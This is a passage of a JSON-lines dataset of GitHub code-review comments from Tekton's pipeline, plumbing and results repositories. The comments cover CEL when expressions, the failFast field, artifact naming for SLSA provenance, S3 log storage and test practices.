"pkg/apis/config/feature_flags.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! fixed", "comment_id": 1366097962, "created_at": "2023-10-19T20:51:59Z", "line": null, "path": "pkg/apis/config/feature_flags.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "jerop", "body": "It's okay to add it, so that this commit contains the API changes ", "comment_id": 1367230088, "created_at": "2023-10-20T16:35:08Z", "line": 30, "path": "pkg/apis/pipeline/v1/when_types.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "jerop", "body": "just to be specific\r\n\r\n```suggestion\r\n\t\tenableCELInWhenExpression bool\r\n```", "comment_id": 1367243295, "created_at": "2023-10-20T16:43:41Z", "line": null, "path": "pkg/apis/pipeline/v1/when_validation_test.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 1367290907, "created_at": "2023-10-20T17:13:59Z", "line": null, "path": "pkg/apis/pipeline/v1/when_validation_test.go", "pr_number": 7247, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Is there a way we can say in the docs that this is still WIP. And we remove it once the feature is fully available? ", "comment_id": 1367358772, "created_at": "2023-10-20T18:15:13Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh did you mean updating the `CEL` docstrings?", "comment_id": 1367361594, "created_at": "2023-10-20T18:17:43Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I'm ok with adding it!", "comment_id": 1367361978, "created_at": "2023-10-20T18:18:07Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I meant in the user docs. This is so that they know when we make a release that the feature is not ready and they should not use it until it is.", "comment_id": 1367362820, "created_at": "2023-10-20T18:19:04Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "jerop", "body": "https://github.com/tektoncd/pipeline/pull/7247/files#diff-778db8afe943ee8b2b7f3acf5ec1eb68d7bf0c926a1ddb46866125d1a4c0ce7f -- it's noted here", "comment_id": 1367363815, "created_at": "2023-10-20T18:20:18Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, @jerop has suggested we add it in the doc, and it is there. ", "comment_id": 1367366139, "created_at": "2023-10-20T18:23:07Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Thanks!", "comment_id": 1367374122, "created_at": "2023-10-20T18:32:35Z", "line": 5798, "path": "docs/pipeline-api.md", "pr_number": 7247, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Since we don't add env declarations here, we won't get errs. So we cannot test the error. Or can we omit this err? \ud83e\udd14 ", "comment_id": 1367360255, "created_at": "2023-10-20T18:16:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_validation.go", "pr_number": 7251, "repo": "pipeline"} +{"author": "jerop", "body": "can this be set directly to the bool?\r\n```suggestion\r\n\t\t\t\tt.EvaluatedCEL[we.CEL] = out.ConvertToType(types.BoolType).Value()\r\n```", "comment_id": 1369251309, "created_at": "2023-10-23T20:50:11Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "This should be folded into `t.skipBecauseWhenExpressionsEvaluatedToFalse` because CEL expressions are part of When Expressions -- we can do this by updating [`w.isTrue`](https://github.com/Yongxuanzhang/pipeline/blob/main/pkg/apis/pipeline/v1/when_types.go#L56) then existing functionality should be reused ", "comment_id": 1369262228, "created_at": "2023-10-23T21:02:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh yes, \ud83d\ude05 ", "comment_id": 1369264236, "created_at": "2023-10-23T21:05:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "it may be obvious but let's make it clear that the CEL expression must evaluate to a boolean\r\n\r\n```suggestion\r\nYou can define a CEL expression in `WhenExpression` to guard the execution of a `Task`. The CEL expression must evaluate to either `true` or `false`. You can use a single line of CEL string to replace current `WhenExpressions`'s `input`+`operator`+`values`. For example:\r\n```", "comment_id": 1369278128, "created_at": "2023-10-23T21:22:19Z", "line": null, "path": "docs/pipelines.md", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "do we handle the invalid case where the CEL expression does not evaluate to a boolean, let's say it evaluates to an integer or string .e.g. `\"{'blue': '0x000080', 'red': '0xFF0000'}['red']\"`\r\n\r\n", "comment_id": 1369281328, "created_at": "2023-10-23T21:24:53Z", "line": 4982, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I forgot to check the code, `out.ConvertToType(types.BoolType).Value()` or ` out.Value()` is an interface so we cannot set it to the map directly. I'm investigating if there is a way we can do the conversion", "comment_id": 1369290221, "created_at": "2023-10-23T21:36:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! I have merged them into the isTrue. Plz check if that works. ", "comment_id": 1369308102, "created_at": "2023-10-23T22:02:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "I don't think we should pass in the full map here, maybe we can evaluate it right here then instead?\r\n\r\n```suggestion\r\n if we.CEL != \"\" {\r\n return evaluatedCEL[we.CEL]\r\n\t }\r\n\t\tif !we.isTrue() {\r\n```", "comment_id": 1369312756, "created_at": "2023-10-23T22:09:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Ah that's a great question! I will add a validation here. ", "comment_id": 1370299097, "created_at": "2023-10-24T14:34:28Z", "line": 4982, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added", "comment_id": 1370349007, "created_at": "2023-10-24T14:53:04Z", "line": 4982, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "changed this to use type assertions combing with the check if it is a boolean", "comment_id": 1370350168, "created_at": "2023-10-24T14:53:45Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "is it possible for the key not to be in the map? what happens in that case?", "comment_id": 1370368067, "created_at": "2023-10-24T15:05:49Z", "line": 109, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "Thank you!", "comment_id": 1370369601, "created_at": "2023-10-24T15:06:56Z", "line": 4982, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's a great question. In current implementation it is not possible, we will traverse all cel expressions and evaluate them. \r\nI have thought about adding this check but it is hard to return an error here, all the returned values are bool in the call stack and it is not practical to return error here. That's also the reason I move the evaluation logic upfront ", "comment_id": 1370392620, "created_at": "2023-10-24T15:20:56Z", "line": 109, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Why is this in a custom task test? I thought it might be something we need for pipeline tests.", "comment_id": 1370418180, "created_at": "2023-10-24T15:33:44Z", "line": 736, "path": "test/custom_task_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I wonder if this is the best practice or if its better to set it in https://github.com/tektoncd/pipeline/blob/main/test/e2e-tests-kind-prow-alpha.env", "comment_id": 1370430565, "created_at": "2023-10-24T15:42:58Z", "line": null, "path": "test/e2e-tests.sh", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah I totally agree! This helper function is not clear to developers and it is the reason I failed the e2e tests. I can clean this up in another PR. Will create an issue to track", "comment_id": 1370442788, "created_at": "2023-10-24T15:52:26Z", "line": 736, "path": "test/custom_task_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Sounds good! Thanks", "comment_id": 1370445039, "created_at": "2023-10-24T15:53:56Z", "line": 736, "path": "test/custom_task_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That is a good idea, I think we can combine them in 1 func", "comment_id": 1370554774, "created_at": "2023-10-24T17:09:23Z", "line": null, "path": "test/e2e-tests.sh", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Updated, ptal", "comment_id": 1370597625, "created_at": "2023-10-24T17:45:45Z", "line": null, "path": "test/e2e-tests.sh", "pr_number": 7255, "repo": "pipeline"} +{"author": "jerop", "body": "Just for the record, this is the issue tracking this cleanup: https://github.com/tektoncd/pipeline/issues/7269", "comment_id": 1370650953, "created_at": "2023-10-24T18:23:15Z", "line": 736, "path": "test/custom_task_test.go", "pr_number": 7255, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "why are you replacing result_extraction_method?\r\nI think this should be a separate function.\r\n\r\n", "comment_id": 1371991954, "created_at": "2023-10-25T15:53:18Z", "line": null, "path": "test/e2e-tests.sh", "pr_number": 7255, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Sorry. I think I misread your comment. Please ignore.", "comment_id": 1371995155, "created_at": "2023-10-25T15:55:47Z", "line": null, "path": "test/e2e-tests.sh", "pr_number": 7255, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "why just passing params a here? Can we have:\r\n```\r\ndisplayName: \"Calculate the first two numbers $(params.a) + $(params.b)\"\r\n```", "comment_id": 1372064098, "created_at": "2023-10-25T16:55:13Z", "line": null, "path": "examples/v1/pipelineruns/pipeline-with-displayname.yaml", "pr_number": 7273, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "how about\r\n```\r\nSum $(tasks.sum-two-numbers.results.sum) with the third number $(params.c)\r\n```", "comment_id": 1372065663, "created_at": "2023-10-25T16:56:40Z", "line": null, "path": "examples/v1/pipelineruns/pipeline-with-displayname.yaml", "pr_number": 7273, "repo": "pipeline"} +{"author": "pritidesai", "body": "yes, we can but the resulting string is not normalized/evaluated and will be displayed as:\r\n\r\n```\r\n\"Calculate the first two numbers 1 + 2\"\r\n```", "comment_id": 1372457733, "created_at": "2023-10-26T01:02:06Z", "line": null, "path": "examples/v1/pipelineruns/pipeline-with-displayname.yaml", "pr_number": 7273, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "just want to double check people should have the permission to read this ?", "comment_id": 1488170684, "created_at": "2024-02-13T16:10:31Z", "line": 6, "path": "docs/developers/feature-versioning.md", "pr_number": 7662, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for checking, yep i shared with tekton-dev@googlegroups.com and tekton-user@googlegroups.com", "comment_id": 1488173713, "created_at": "2024-02-13T16:12:03Z", "line": 6, "path": "docs/developers/feature-versioning.md", "pr_number": 7662, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "\ud83d\udc4d ", "comment_id": 1488213288, "created_at": "2024-02-13T16:35:05Z", "line": 6, "path": "docs/developers/feature-versioning.md", "pr_number": 7662, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "disable this when submitting the final PR :) before removing the hold/draft.", "comment_id": 1520223756, "created_at": "2024-03-11T18:18:51Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 7746, "repo": "pipeline"} +{"author": "ericzzzzzzz", "body": "sure, thank you for the reminding ", "comment_id": 1520249305, "created_at": "2024-03-11T18:28:39Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 7746, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Did this come from running `./hack/update-codegen.sh`? If not, may be we can rever this and let dependabots bump it for us.", "comment_id": 1543365089, "created_at": "2024-03-28T17:28:36Z", "line": null, "path": "go.mod", "pr_number": 7746, "repo": "pipeline"} +{"author": "ericzzzzzzz", "body": "yes, it came from that script. ", "comment_id": 1543376649, "created_at": "2024-03-28T17:37:59Z", "line": null, "path": "go.mod", "pr_number": 7746, "repo": "pipeline"} +{"author": "khrm", "body": "nit: This error isn't needed. ", "comment_id": 1543808915, "created_at": "2024-03-28T22:46:08Z", "line": null, "path": "pkg/entrypoint/entrypointer.go", "pr_number": 7746, "repo": "pipeline"} +{"author": "vdemeester", "body": "Isn't this wrong ? You can define `when` in a step (that refers a `StepAction`), but you cannot define `when` in the `StepAction` itself, can you ?", "comment_id": 1643056164, "created_at": "2024-06-17T16:04:59Z", "line": null, "path": "docs/stepactions.md", "pr_number": 7746, "repo": "pipeline"} +{"author": "ericzzzzzzz", "body": "ahh! You're right! This should be a `step`", "comment_id": 1643079153, "created_at": "2024-06-17T16:21:51Z", "line": null, "path": "docs/stepactions.md", "pr_number": 7746, "repo": "pipeline"} +{"author": "ericzzzzzzz", "body": "updated", "comment_id": 1646382445, "created_at": "2024-06-19T15:20:41Z", "line": null, "path": "docs/stepactions.md", "pr_number": 7746, "repo": "pipeline"} +{"author": "waveywaves", "body": "ai review: Please add the reverse conversion too (`prs.FailFast = source.FailFast` in `ConvertFrom`). Without it, a v1 `PipelineRun` converted/read as v1beta1 drops `spec.failFast`.", "comment_id": 3552334955, "created_at": "2026-07-09T14:20:25Z", "line": 84, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_conversion.go", "pr_number": 7987, "repo": "pipeline"} +{"author": "waveywaves", "body": "ai review: This should respect `onError: continue`. As written, `failFast` cancels the whole PipelineRun even when the failed PipelineTask explicitly ignores its failure; please mirror `PipelineRunFacts.IsStopping` (`resolvedTask.PipelineTask.OnError != v1.PipelineTaskContinue`) and add coverage.", "comment_id": 3552334965, "created_at": "2026-07-09T14:20:25Z", "line": 612, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 7987, "repo": "pipeline"} +{"author": "waveywaves", "body": "ai review: This adds a new API field, but `config/300-crds/300-pipelinerun.yaml` is not updated in this PR. Please rerun generation and include the CRD/OpenAPI outputs so installs accept `spec.failFast`.", "comment_id": 3552334971, "created_at": "2026-07-09T14:20:25Z", "line": 284, "path": "pkg/apis/pipeline/v1/pipelinerun_types.go", "pr_number": 7987, "repo": "pipeline"} +{"author": "waveywaves", "body": "ai review: Field name is `failFast`, not `fastFail`.", "comment_id": 3552334977, "created_at": "2026-07-09T14:20:25Z", "line": 1630, "path": "docs/pipelineruns.md", "pr_number": 7987, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm worried that \"build artifact\" isn't specific enough, since users run builds in tasks/pipelines, so any artifact could be referred to as a build artifact.\r\n\r\n`buildOutput` is slightly better here to be in line with SLSA terminology of outputs vs byproducts and at least makes a better distinction when talking about different artifact types - e.g. it's weird to say \"this artifact isn't a build artifact it's a byproduct\" without knowing the context that not all artifacts produced by builds are build artifacts, whereas \"this artifact isn't a build output it's a byproduct\" feels like it would be less confusing?\r\nThere are still similar overlaps with outputs.buildOutput, but this might be the least-worst option? \r\n\r\nAlso open to other ideas here! (naming is hard \ud83d\ude05)", "comment_id": 1685018170, "created_at": "2024-07-19T21:40:24Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "nit: I'd drop the `is` - I don't know if this adds anything, and sometimes autogenerated clients (particularly if you ever deal with protobuf) will add prefixes that leads to clunky method names like `hasIsBuildArtifact`/`getIsBuildArtifact`\r\n\r\n```suggestion\r\n \"buildArtifact\": true,\r\n```", "comment_id": 1685021507, "created_at": "2024-07-19T21:45:51Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd avoid the gcs-upload example here (or at least add more context) since there are often times where you would want this to produce a build output (e.g. tekton release yamls).\r\n\r\nI'd classify this into 2 categories: \r\n\r\n1. \"important\" artifacts - packages, images, etc\r\n2. \"unimportant\"/incidental artifacts - logs, caches, etc", "comment_id": 1685025314, "created_at": "2024-07-19T21:50:35Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "I'd remove this - this is largely the same of the example above and doesn't add much.", "comment_id": 1685025842, "created_at": "2024-07-19T21:51:16Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "This isn't a good description. We should update this.", "comment_id": 1685027126, "created_at": "2024-07-19T21:52:11Z", "line": null, "path": "pkg/apis/pipeline/v1/swagger.json", "pr_number": 8103, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Thats ok. I'm happy to adopt that.", "comment_id": 1685177476, "created_at": "2024-07-20T00:59:17Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Agreed! Much better. I'll use `BuildOutput` instead like you suggested above.", "comment_id": 1685178354, "created_at": "2024-07-20T01:03:27Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Thanks! I'll use `\"build\"` and `\"non-build\"` instead of `important and unimportant` since importance is relative :)", "comment_id": 1685178823, "created_at": "2024-07-20T01:05:59Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I think this was due to the fact that the comment was after the field instead of before so it got mapped to the next one.\r\n\r\nFixing!", "comment_id": 1685179796, "created_at": "2024-07-20T01:11:20Z", "line": null, "path": "pkg/apis/pipeline/v1/swagger.json", "pr_number": 8103, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Done!", "comment_id": 1685204619, "created_at": "2024-07-20T02:06:42Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "Tweaked some of the copy.\r\n\r\n```suggestion\r\n### Output Artifacts in SLSA Provenance\r\n\r\nArtifacts are classified as either:\r\n\r\n- Build Outputs - packages, images, etc. that are being published by the build.\r\n- Build Byproducts - logs, caches, etc. that are incidental artifacts that are produced by the build.\r\n\r\nBy default, Tekton Chains will consider all output artifacts as `byProducts` when generating in the [SLSA provenance](https://slsa.dev/spec/v1.0/provenance). In order to treat an artifact as a [subject](https://slsa.dev/spec/v1.0/provenance#schema) of the build, you must set a boolean field `\"buildOutput\": true` for the output artifact.\r\n\r\ne.g. \r\n```yaml\r\napiVersion: tekton.dev/v1\r\nkind: TaskRun\r\nmetadata:\r\n generateName: step-artifacts-\r\nspec:\r\n taskSpec:\r\n description: |\r\n A simple task that populates artifacts to TaskRun stepState\r\n steps:\r\n - name: artifacts-producer\r\n image: bash:latest\r\n script: |\r\n cat > $(artifacts.path) << EOF\r\n {\r\n \"outputs\":[\r\n {\r\n \"name\":\"image\",\r\n \"buildOutput\": true,\r\n \"values\":[\r\n {\r\n \"uri\":\"pkg:oci/nginx:stable-alpine3.17-slim?repository_url=docker.io/library\",\r\n \"digest\":{\r\n \"sha256\":\"df85b9e3983fe2ce20ef76ad675ecf435cc99fc9350adc54fa230bae8c32ce48\",\r\n \"sha1\":\"95588b8f34c31eb7d62c92aaa4e6506639b06ef2\"\r\n }\r\n }\r\n ]\r\n }\r\n ]\r\n }\r\n EOF\r\n```\r\n\r\nThis informs Tekton Chains your desire to handle the artifact.\r\n\r\n> [!TIP] \r\n> When authoring a `StepAction` or a `Task`, you can parametrize this field to allow users to indicate their desire depending on what they are uploading - this can be useful for actions that may produce either a build output or a byproduct depending on the context!\r\n```", "comment_id": 1689924431, "created_at": "2024-07-24T14:27:01Z", "line": null, "path": "docs/artifacts.md", "pr_number": 8103, "repo": "pipeline"} +{"author": "wlynch", "body": "needs update", "comment_id": 1689929209, "created_at": "2024-07-24T14:30:00Z", "line": null, "path": "examples/v1/taskruns/alpha/produce-consume-artifacts.yaml", "pr_number": 8103, "repo": "pipeline"} +{"author": "afrittoli", "body": "You cannot have an `env` directly under `spec`, it must either go into `steps` or into a `stepTemplate`.", "comment_id": 783858865, "created_at": "2022-01-13T11:10:28Z", "line": 21, "path": "tekton/resources/nightly-tests/base/deploy_tekton_component.yaml", "pr_number": 977, "repo": "plumbing"} +{"author": "afrittoli", "body": "Ditto", "comment_id": 783859188, "created_at": "2022-01-13T11:10:55Z", "line": 44, "path": "tekton/resources/nightly-tests/bastion-p/k8s_cluster_setup.yaml", "pr_number": 977, "repo": "plumbing"} +{"author": "afrittoli", "body": "ditto", "comment_id": 783864298, "created_at": "2022-01-13T11:18:18Z", "line": 34, "path": "tekton/resources/release/base/prerelease_checks.yaml", "pr_number": 977, "repo": "plumbing"} +{"author": "dibyom", "body": "@JeromeJu curious why the cron time is so specific", "comment_id": 1486597669, "created_at": "2024-02-12T18:24:39Z", "line": 2088, "path": "prow/config.yaml", "pr_number": 1803, "repo": "plumbing"} +{"author": "JeromeJu", "body": "I intended to follow what's done by [periodic-tekton-catalog-integration-tests](https://github.com/tektoncd/plumbing/commit/ce9c2967903ea2dcd070a5c3cf826b04f44658eb) as it sets off the difference from [02:05 am](https://github.com/tektoncd/plumbing/blob/0cf9834f1672a1a14d4f377de86124df369040a8/prow/config.yaml#L1984) with 1 hr and 1 minute; which I interpret as it wants to have 60 minutes in between each cron job.", "comment_id": 1486602489, "created_at": "2024-02-12T18:29:20Z", "line": 2088, "path": "prow/config.yaml", "pr_number": 1803, "repo": "plumbing"} +{"author": "dibyom", "body": "ok, interesting", "comment_id": 1486608166, "created_at": "2024-02-12T18:35:12Z", "line": 2088, "path": "prow/config.yaml", "pr_number": 1803, "repo": "plumbing"} +{"author": null, "body": "suggest removing or leaving a comment explaining the alternate usage", "comment_id": 683701962, "created_at": "2021-08-05T18:41:44Z", "line": null, "path": "cmd/api/main.go", "pr_number": 121, "repo": "results"} +{"author": null, "body": "nit: given jsonutil only holds test helpers I am curious why we store it under `pkg/internal/` vs `test/`", "comment_id": 683705034, "created_at": "2021-08-05T18:46:35Z", "line": 32, "path": "pkg/api/server/v1alpha2/records_test.go", "pr_number": 121, "repo": "results"} +{"author": null, "body": "Similarly here, suggest removing or leaving a comment explaining the reason for keeping it.", "comment_id": 683711902, "created_at": "2021-08-05T18:57:29Z", "line": null, "path": "pkg/watcher/convert/convert.go", "pr_number": 121, "repo": "results"} +{"author": "dibyom", "body": "Should we pin to a specific postgres version instead of using latest?", "comment_id": 684402085, "created_at": "2021-08-06T17:40:46Z", "line": null, "path": "config/201-sql-deployment.yaml", "pr_number": 121, "repo": "results"} +{"author": "wlynch", "body": "Removed (this was the old mysql format).", "comment_id": 685366754, "created_at": "2021-08-09T16:59:39Z", "line": null, "path": "cmd/api/main.go", "pr_number": 121, "repo": "results"} +{"author": "wlynch", "body": "Removed.", "comment_id": 685367049, "created_at": "2021-08-09T17:00:03Z", "line": null, "path": "pkg/watcher/convert/convert.go", "pr_number": 121, "repo": "results"} +{"author": "wlynch", "body": "`test/` doesn't actually prevent other people from importing and using it, whereas `internal/` will enforce this. See https://pkg.go.dev/cmd/go#hdr-Internal_Directories\r\n\r\nUsing `test/internal` would exclude packages in `pkg` from using it, so using `pkg/internal` seemed like the best option (the other option would be to use a top level `internal` folder.", "comment_id": 685367986, "created_at": "2021-08-09T17:01:20Z", "line": 32, "path": "pkg/api/server/v1alpha2/records_test.go", "pr_number": 121, "repo": "results"} +{"author": "wlynch", "body": "Good catch. Pinned to 13.3.", "comment_id": 685371749, "created_at": "2021-08-09T17:07:14Z", "line": null, "path": "config/201-sql-deployment.yaml", "pr_number": 121, "repo": "results"} +{"author": "adambkaplan", "body": "Note that this brings in Tekton and k8s dependency bumps. By the look of it, these are backwards-compatible.", "comment_id": 1066387487, "created_at": "2023-01-10T21:59:08Z", "line": 24, "path": "go.mod", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "We should have unit tests for this function.", "comment_id": 1071685934, "created_at": "2023-01-17T02:34:18Z", "line": 49, "path": "pkg/api/server/v1alpha2/log/file.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "We should have unit tests for this function.", "comment_id": 1071686091, "created_at": "2023-01-17T02:34:39Z", "line": 72, "path": "pkg/api/server/v1alpha2/log/file.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "I noticed that we only use the `S3` member of the upload manager. Therefore I recommend replacing `uploader` field with and `S3API` interface:\r\n\r\n```suggestion\r\n\ts3 s3iface.S3API\r\n```\r\n\r\nThis will make it easier to mock out S3 for unit tests.", "comment_id": 1071689450, "created_at": "2023-01-17T02:43:42Z", "line": null, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "I think we need a godoc here to document how this implements the `Writer` interface, namely:\r\n\r\n1. The writer has an internal buffer to minimize send calls.\r\n2. Bytes are not transmitted until the internal buffer is filled.\r\n3. A final call to `WriteRemain` should always be made to ensure all data is transmitted.", "comment_id": 1071694130, "created_at": "2023-01-17T02:56:54Z", "line": 42, "path": "pkg/logs/writer.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "Consider renaming this `Flush` (this is a common name for a function that clears an i/o buffer).\r\n```suggestion\r\n// Flush writes the remaining bytes in the internal buffer to the gRPC sender.\r\nfunc (w *BufferedLog) Flush() (int, error) {\r\n```", "comment_id": 1071694768, "created_at": "2023-01-17T02:58:34Z", "line": null, "path": "pkg/logs/writer.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "Consider making these unit tests [table-driven](https://dave.cheney.net/2019/05/07/prefer-table-driven-tests), since the validations are similar.", "comment_id": 1071695480, "created_at": "2023-01-17T03:00:29Z", "line": null, "path": "pkg/logs/writer_test.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "See my suggestion to rename this function `Flush` - debatable if that makes intent clearer. No matter what, however, we should godoc that this function must be called after writes are completed.", "comment_id": 1071697175, "created_at": "2023-01-17T03:04:38Z", "line": null, "path": "pkg/api/server/v1alpha2/logs.go", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "This is the right pattern - the new AWS SDK recommends using your own interfaces to mock/stub in unit tests:\r\n\r\nhttps://aws.github.io/aws-sdk-go-v2/docs/unit-testing/", "comment_id": 1084643477, "created_at": "2023-01-23T22:38:58Z", "line": 32, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Added unit tests covering basic cases for S3 ", "comment_id": 1085877108, "created_at": "2023-01-24T20:16:38Z", "line": 32, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "Changed to table to driven.", "comment_id": 1085877764, "created_at": "2023-01-24T20:17:23Z", "line": null, "path": "pkg/logs/writer_test.go", "pr_number": 301, "repo": "results"} +{"author": "avinal", "body": "```suggestion\r\n$ grpc_cli call --channel_creds_type=ssl --ssl_target=tekton-results-api-service.tekton-pipelines.svc.cluster.local --call_creds=access_token=$GRPC_ACCESS_TOKEN localhost:50051 tekton.results.v1alpha2.Results.ListResults 'parent: \"default\"\r\n```\r\n\r\nThis should probably be removed.", "comment_id": 1090701273, "created_at": "2023-01-30T14:31:34Z", "line": null, "path": "docs/DEVELOPMENT.md", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "good catch - looks like some of the grpc calls were copied by accident.", "comment_id": 1090909661, "created_at": "2023-01-30T17:08:39Z", "line": null, "path": "docs/DEVELOPMENT.md", "pr_number": 301, "repo": "results"} +{"author": "dibyom", "body": "Umm...just making sure- are these actual secret key/access keys? (Have they been revoked/rotated?)", "comment_id": 1092383416, "created_at": "2023-01-31T19:26:00Z", "line": null, "path": "cmd/api/README.md", "pr_number": 301, "repo": "results"} +{"author": "adambkaplan", "body": "@sayan-biswas relayed to me that these are not real (they are missing a few characters and are thus not valid). We can follow up and make this more generic \r\n\r\n```suggestion\r\n| S3_SECRET_ACCESS_KEY | S3 Secret Access Key | |\r\n```", "comment_id": 1092429598, "created_at": "2023-01-31T20:12:27Z", "line": null, "path": "cmd/api/README.md", "pr_number": 301, "repo": "results"} +{"author": "sayan-biswas", "body": "updated with generic text.", "comment_id": 1092454927, "created_at": "2023-01-31T20:36:45Z", "line": null, "path": "cmd/api/README.md", "pr_number": 301, "repo": "results"} +{"author": "dibyom", "body": "question: why was this renamed from partSize to totalSize?", "comment_id": 1092531568, "created_at": "2023-01-31T22:05:44Z", "line": null, "path": "pkg/api/server/v1alpha2/log/s3.go", "pr_number": 301, "repo": "results"} +{"author": "dibyom", "body": "Can we add a unit test for this?", "comment_id": 1092538083, "created_at": "2023-01-31T22:14:18Z", "line": 54, "path": "pkg/watcher/convert/convert.go", "pr_number": 301, "repo": "results"} +{"author": "dibyom", "body": "Are we doing any testing with the logsClient in these tests to see if the log file was actually written?", "comment_id": 1092547411, "created_at": "2023-01-31T22:26:20Z", "line": 308, "path": "pkg/watcher/reconciler/dynamic/dynamic_test.go", "pr_number": 301, "repo": "results"} +{"author": "dibyom", "body": "We should mention in the PR description/release notes section the minimum version of k8s required to run results now. (As well as the version of tekton pipelines supported)", "comment_id": 1092554897, "created_at": "2023-01-31T22:36:53Z", "line": 24, "path": "go.mod", "pr_number": 301, 